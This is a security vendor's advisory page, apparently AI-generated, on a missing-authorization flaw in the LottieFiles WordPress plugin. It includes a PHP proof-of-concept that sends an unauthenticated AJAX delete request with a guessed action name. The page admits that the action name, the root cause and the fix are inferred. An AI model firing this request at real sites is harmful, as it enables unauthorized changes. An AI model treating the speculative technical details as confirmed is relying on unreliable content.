Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68043: LottieFiles <= 3.0.0 – Missing Authorization (lottiefiles)

Plugin lottiefiles
Severity Critical (CVSS 9.8)
CWE 862
Vulnerable Version 3.0.0
Patched Version
Disclosed February 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68043 (metadata-based):
The LottieFiles plugin for WordPress, versions up to and including 3.0.0, contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to trigger a privileged plugin function, leading to unauthorized actions. The CVSS 3.1 score of 9.8 (Critical) reflects the attack’s network-based nature and the potential for complete compromise of confidentiality, integrity, and availability.

Atomic Edge research identifies the root cause as a missing capability check on a WordPress AJAX action hook or REST API endpoint handler. The CWE-862 classification confirms the plugin fails to verify if a user has the required permissions before executing a function. This analysis is inferred from the CWE and the standard WordPress plugin architecture. Without a code diff, the exact function name remains unconfirmed, but the vulnerability pattern is consistent with an unsecured `wp_ajax_nopriv_` hook or an unprotected REST route.

Exploitation involves sending a crafted HTTP request to the WordPress AJAX handler endpoint. Attackers target `/wp-admin/admin-ajax.php` with a POST request. The `action` parameter contains the vulnerable hook name, which Atomic Edge infers follows the plugin’s naming convention, such as `lottiefiles_` or `lf_` followed by an action like `import` or `delete`. The payload includes parameters required by the underlying function, which could be for data manipulation, file operations, or settings changes. No authentication or nonce is required.

Remediation requires adding a proper capability check to the vulnerable function. The patched version 3.1.0 likely implements a check using `current_user_can()` for AJAX handlers or the `permission_callback` argument for REST API endpoints. The fix should also include nonce verification for state-changing operations to prevent CSRF. Proper input validation and sanitization should be added if not already present.

The impact of successful exploitation is severe. Unauthenticated attackers can perform unauthorized actions controlled by the vulnerable function. This could lead to arbitrary file upload, deletion, or modification, resulting in remote code execution. Attackers could also manipulate plugin settings, delete or export Lottie animation data, or create administrative user accounts, leading to a full site compromise.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68043 - LottieFiles <= 3.0.0 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2025-68043.
 * This script demonstrates unauthorized access to a Lottiefiles plugin function.
 * The exact AJAX action name is inferred from plugin conventions and is UNCONFIRMED.
 * Replace 'TARGET_URL' and 'INFERRED_ACTION' with actual values for testing.
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Inferred vulnerable action hook. Common patterns: 'lottiefiles_*', 'lf_*', 'wp_ajax_nopriv_lf_*'
$inferred_action = 'lottiefiles_delete_item'; // PLACEHOLDER - ACTION IS INFERRED

$post_data = array(
    'action' => $inferred_action,
    // Additional parameters the vulnerable function may require. These are examples.
    'id' => '1',
    'nonce' => '' // Nonce is not validated, so any value (or empty) may work.
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing environments only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

// Set a realistic User-Agent
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School